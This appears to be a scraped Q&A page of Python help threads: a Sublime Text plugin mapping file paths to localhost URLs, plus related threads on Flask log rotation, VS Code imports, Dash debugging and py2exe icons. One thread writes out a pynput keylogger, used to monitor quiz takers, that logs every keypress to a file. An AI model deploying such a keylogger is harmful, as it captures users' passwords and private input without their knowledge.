I am trying to build a plugin for the program Sublimetext2.
It uses plugins coded with Python. I have no Python knowledge at all but from looking at existing plugins and my PHP knowledge here is what I need help with...
this is the start of the Python file so far
import sublime, sublime_plugin
import webbrowser
settings = sublime.load_settings('openonserver.sublime-settings')
settings.get('file_path_prefix')
settings.get('server_url')
class OpenonServerCommand(sublime_plugin.TextCommand):
def run(self,edit):
file_path = self.view.file_name()
What I need to do though take the value of the settings
file_path will be the path to the file I am running this on so lets say...
E:\Server\htdocs\mytest_project_\some\folder_\test.php
The settings
file_path_prefix will be E:\Server\htdocs\ and
server_url will be http://localhost/
I need to see if file_path_prefix exist in file_path if it does,
I need to replace the E:\Server\htdocs\ with the http://localhost/ and replace all \ to / and then store this new path in a variable
so...
E:\Server\htdocs\mytest_project_\some\folder_\test.php would become
http://localhost/mytest_project_/some/folder_/test.php
I then need to send this to the browser.
Any help is greatly appreciated
Use
os.system("path_to_browser url")
To run any external program. I also recomend to take a look at this comment
Ok after many hours (I hate Python now) my solution (i'm very not impressed) but it partially works
#Context.sublime-menu
[
{ "command": "openserver", "caption": "Open on Server" }
]
#Default (Windows).sublime-keymap
[
{ "keys": ["ctrl+shift+b"], "command": "openserver" }
]
#Main.sublime-menu
[
{
"caption": "Tools",
"mnemonic": "T",
"id": "tools",
"children":
[
{ "command": "openserver", "caption": "Open on Server" }
]
}
]
#Openserver.sublime-commands
[
{
"caption": "Open file on Server in Browser",
"command": "openserver"
}
]
#Openserver.sublime-settings
{
"file_path_prefix": "E:/Server/htdocs",
"url_prefix": "http://localhost"
}
Main file
#openserver.py
import sublime, sublime_plugin
import os
import webbrowser
import re
import os2emxpath
import logging
import sys
class OpenserverCommand(sublime_plugin.TextCommand):
def run(self,edit):
file_path = self.view.file_name()
settings = sublime.load_settings('Openserver.sublime-settings')
file = os2emxpath.normpath(file_path)
url = re.sub(settings.get('file_path_prefix'), settings.get('url_prefix'), file)
#logging.warning(url)
#webbrowser.open_new(url)
if sys.platform=='win32':
os.startfile(url)
elif sys.platform=='darwin':
subprocess.Popen(['open', url])
else:
try:
subprocess.Popen(['xdg-open', url])
except OSError:
logging.warning(url)
Now when I say it works but it partially doesn't, it does take the file name, replaces my path and server URL from a settings file and then does launch a browser with the proper URL
Except, in Sublimetext2 when you run this on a .py file or any file that you do not have set to be able to open in a web browser, then instead of opening the file in the web browser it will give the windows popup asking to set a default program to open the file, very annoying!
Related
There are a lot of similar questions on SO, but I couldn't one that exactly fit my situation.
I'm setting up logging in my app factory like so:
__init__.py
import os
from flask import Flask
from logging.config import dictConfig
LOG_FOLDER = f'{os.path.dirname(os.path.abspath(__file__))}/logs'
def create_app(test_config=None):
# Setup logging
# Make log folder if it doesn't exist
try:
os.makedirs(LOG_FOLDER)
print("created logs folder")
except OSError:
print("log folder already exists")
pass
dictConfig({
"version": 1,
"handlers": {
"fileHandler": {
"class": "logging.handlers.RotatingFileHandler",
"formatter": "myFormatter",
"filename": f"{LOG_FOLDER}/flask.log",
"maxBytes": 500,
"backupCount": 5
},
"werkzeugFileHandler": {
"class": "logging.handlers.RotatingFileHandler",
"formatter": "myFormatter",
"filename": f"{LOG_FOLDER}/werkzeug.log",
"maxBytes": 500,
"backupCount": 5
},
"console": {
"class": "logging.StreamHandler",
"formatter": "myFormatter"
}
},
"loggers": {
APP_NAME: {
"handlers": ["fileHandler", "console"],
"level": "INFO",
},
"werkzeug": {
"level": "INFO",
"handlers": ["werkzeugFileHandler", "console"],
}
},
"formatters": {
"myFormatter": {
"format": "[%(asctime)s] {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s"
}
}
})
# create and configure the app
app = Flask(__name__, instance_relative_config=True)
<remainder omitted>
And accessing the logger in my other classes like so:
foo.py
from flask import Flask
from definitions import APP_NAME
app = Flask(APP_NAME)
app.logger.info("blah")
But when it comes time for RotatingFileHandler to rename flask.log to flask.log.1, I get this error I've seen in numerous SO posts:
PermissionError: [WinError 32] The process cannot access the file because it is being used by another process: 'C:\\Users\\user\\project_root\\logs\\flask.log' -> 'C:\\Users\\user\\project_root\\logs\\flask.log.1'
I am running the flask server locally in development mode, using the flask run cli command.
Another thing to note is, when the flask server is running, I am unable to modify (i.e. delete or rename) the log files manually, so it seems the mere act of having the server running is locking the files from modification? Is it wrong to initialise the logging in __init__.py, or is there something I'm missing?
I think this is a duplicated question as PermissionError when using python 3.3.4 and RotatingFileHandler. But just reposting my answer:
Spent half a day on this as non previous answer resolved my issue.
My working solution is to use https://pypi.org/project/concurrent-log-handler/ instead of RotatingFileHandler. In multiple thread scenarios like Flask app, PermissionError will be raised when we rotate the log file that reaches maximum size.
Install pypiwin32 to get rid of No Module name win32con error.
Thanks go to https://www.programmersought.com/article/43941158027/
Try changing the delay parameter to True in your handler (in my case I used TimeRotatingFileHandler).
https://stackoverflow.com/a/69378029/15036810
I am writing a Webscraping application in VS Code. Pytho version is 3.9.
My folder structure in VS Code
BeautifulSoup - Scraping_Quotes - locator
BeautifulSoup -Scraping_Quotes - Parsers
The locator directory has a quote_locators.py which has a class called QuoteLocator.
When I try to import this class in my quote.py in Parsers directory as below code, I get the "No Module Named locator" error. Code is reproduced below.
from locator.quote_locators import QuoteLocators
class QuoteParser:
"""
Given one of the specific Quote divs, find out the data about the quote
"""
def __init__(self, parent):
self.parent = parent
def __repr__(self):
return f'<Quote> {self.content}, by {self.author}>'
#property
def content(self):
locator = QuoteLocators.CONTENT
return self.parent.select_one(locator).string
#property
def author(self):
locator = QuoteLocators.AUTHOR
return self.parent.select_one(locator).string
#property
def tags(self):
locator = QuoteLocators.TAGS
return self.parent.select_one(locator)
my launch.json file (if it is relevant) has :
"version": "0.2.0",
"configurations": [
{
"name": "Python: Current File (Integrated Terminal)",
"type": "python",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal",
"cwd": "${fileDirname}"
}
]
The same code works flawlessly in Pycharm.
About to give up on VSCode, any help is appreciated !!!
I have tried multiple suggestions in StackOverflow, but nothing has worked.
Try to add the following code to the file 'quote.py', and change
'from locator.quote_locators import QuoteLocators' to 'from quote_locators import QuoteLocators'.
like this:
from os.path import dirname, abspath, join
import sys
# Find code directory relative to our directory
THIS_DIR = dirname(__file__) # Returns the full path of the script.
CODE_DIR = abspath(join(THIS_DIR, '..', 'locator')) # Returns the absolute path.
sys.path.append(CODE_DIR) # Import the required path.
from quote_locators import QuoteLocators
Python looks for modules from 'sys.path', and We can add modules to it through 'append',
When using the relative path search, python will search in the current working directory. If it cannot be found, it will report an error. Therefore, we can use the absolute path to facilitate its search.
In addition, pay attention to the spelling of the file name and class name, and check whether the file name is renamed.
The problem was in my .env file as well as `settings.json. After correcting these to point at the correct paths, the system is able to import modules from different folders.
I am developing a quiz application in node.js. I need some python script to keep log of user,so I want to use key logger to keep monitoring the user while attempting the quiz.
Here is the python keylogger script:
from pynput.keyboard import Key, Listener
import logging
log_directory = r"G:/Pythonin Node/Keylogger/key_logger/public/log_files/"
logging.basicConfig(filename = (log_directory+"keylog.txt"), level = logging.DEBUG)
def on_press(key):
logging.info(str(key))
with Listener(on_press = on_press) as listener:
listener.join()
Script working well when i run it in pycharm.but when I call it from node application using python-shell I found an error:
{
traceback: "Traceback (most recent call last): File "script.py", line 1, in <module> from pynput.keyboard import Key, Listener ModuleNotFoundError: No module named 'pynput' ",
executable: "py",
options: null,
script: "script.py",
args: [
"xyz",
"abc"
],
exitCode: 1
}
This is the simple json response.
Here is my node code:
app.get('/', callD_alembert);
function callD_alembert(req, res) {
var x="xyz";
var y="abc";
var options = {
args:
[
x,
y
]
}
PythonShell.run('./script.py', options, function (err, data) {
if (err) res.send(err);
res.send(data.toString())
});
}
python shell executes the simple python script in which I don't use any external package.but when I to use "pynput" package and want to import it.it gives the following error:
Here is also running a python interpreter:
please help me to solve this issue.
Thank you
It looks like you are running the python interpreter in different environments.
Try adding the code below to your python script, and run it from pycharm and using PythonShell:
import sys
print(sys.executable)
If the printed paths are different, try modifying the options you pass to PythonShell, so that the path matches the one you have while running the script via pycharm:
var options = {
// replace this with the path you got by running the script in pycharm
pythonPath: 'path/to/python',
args:
[
x,
y
]
}
the context
I am debugging an application using Visual Studio Code (VSCode).
The application relies mainly on https://plot.ly, https://palletsprojects.com/p/flask, https://pandas.pydata.org/ and https://numpy.org/
Breakpoints ARE NOT hit!
The breakpoints ARE NOT hit when I am using the launch.json (See [1])
I can debug with this launch.json (See [2]) but the debugger does not stops at the breakpoint !
I would like VSCode to stop on my breakpoints when necessary
**What is the correct configuration for launch.json to hit the breakpoints? **
Thank you for the time you are investing helping me!
the hierarchy of the project
launch.json
index.py See [4]
app.py See [3]
pages
index.py
transactions.py
launch.json is described here below [1]
the issue : Error: module 'index' has no attribute 'app.server'
The Error message is displayed after clicking on 'Start debugging > F5' = Error: module 'index' has no attribute 'app.server'
I tried dozens of ways to set the "FLASK_APP": "index:app.server" but they generate diverse error messages :
"FLASK_APP": "index:app.server" generates this error Error: A valid Flask application was not obtained from "index:app".
"FLASK_APP": "index.py" generates this error Error: Failed to find Flask application or factory in module "index". Use "FLASK_APP=index:name to specify one.
for information : gunicorn command (working)
here is a command available in azure-pipelines.yml running the plotly app :
gunicorn --bind=0.0.0.0 --timeout 600 index:app.server
attached files
[1] launch.json - non working
{
"version": "0.2.0",
"configurations": [
{
"name": "Flask",
"type": "python",
"request": "launch",
"module": "flask",
"env": {
"FLASK_APP": "index:app.server",
"FLASK_ENV": "development",
"FLASK_DEBUG": "1",
"FLASK_RUN_PORT": "8052"
},
"args": [
"run",
"--no-debugger",
"--no-reload"
],
"jinja": true
}
]
}
[2] launch.json - working but breakpoints are not hit
{
"version": "0.2.0",
"configurations": [
{
"name": "Python: Current File",
"type": "python",
"request": "launch",
"program": "${workspaceRoot}\\index.py",
"console": "integratedTerminal"
}
]
}
[3] webapp.py
# -*- coding: utf-8 -*-
import dash
app = dash.Dash(
__name__, meta_tags=[{"name": "viewport",
"content": "width=device-width, initial-scale=1"}]
)
server = app.server
app.config.suppress_callback_exceptions = True
index.py - root of the application
# -*- coding: utf-8 -*-
import dash_html_components as html
import dash_core_components as dcc
from webapp import app
from dash.dependencies import Input, Output
from pages import (
transactions, index)
# Describe the layout/ UI of the app
app.layout = html.Div([
dcc.Location(id="url", refresh=False),
html.Div(id="page-content")
])
# Update page
#app.callback(Output("page-content", "children"),
[Input("url", "pathname")])
def display_page(pathname):
if pathname == "/dash/index":
return index.layout
if pathname == "/dash/transactions":
return transactions.layout
else:
return index.layout
if __name__ == "__main__":
app.run_server(debug=True, port=8051)
Your [1] example isn't working because you set FLASK_APP to index:app.server which tries to find an attribute named app.server on the index module. Attribute names can't have a dot (you can verify this by importing that module and trying out getattr(index, "app.server")). You should be able to make FLASK_APP simply say index to have it work.
See the Flask documentation on app discovery for more details.
So this is a question that has been asked many times. And I followed all the things found on the interwebs, however. My icon just isn't appearing, and I'm not getting any sort of error message. The rest of my program functions fine, it's just the darn ugly icon.
Here's my setup.py file, please let me know if/what I'm doing wrong? Sorry if there is a dumb error. :(
import os, os.path, sys
import subprocess
from distutils.core import setup
import py2exe
import glob
import numpy
sys.argv.append('py2exe')
target = {
'script' : "MY_PROGRAM.py",
'version' : "1.0",
'company_name' : "MY_COMPANY",
'copyright' : "",
'name' : "PROGRAM_NAME",
'dest_base' : "PROGRAM_NAME",
'icon_resources': [(1, "MY_ICON.ico")]
}
opts = {
'py2exe': { 'includes': ['matplotlib.numerix.random_array', 'dbhash',
'anydbm', 'skimage', 'pymorph', 'register'],
'excludes': ['_gtkagg', '_tkagg'],
'dll_excludes': ['libgdk-win32-2.0-0.dll',
'libgobject-2.0-0.dll'],
'bundle_files': 1
}
}
setup(
data_files = [('Images', glob.glob('Images/*.*'))],
windows = [target],
zipfile = None
)
....
For some reason it works now. I used a different website to convert my png file to a .ico, and voila magic.
:( so much struggles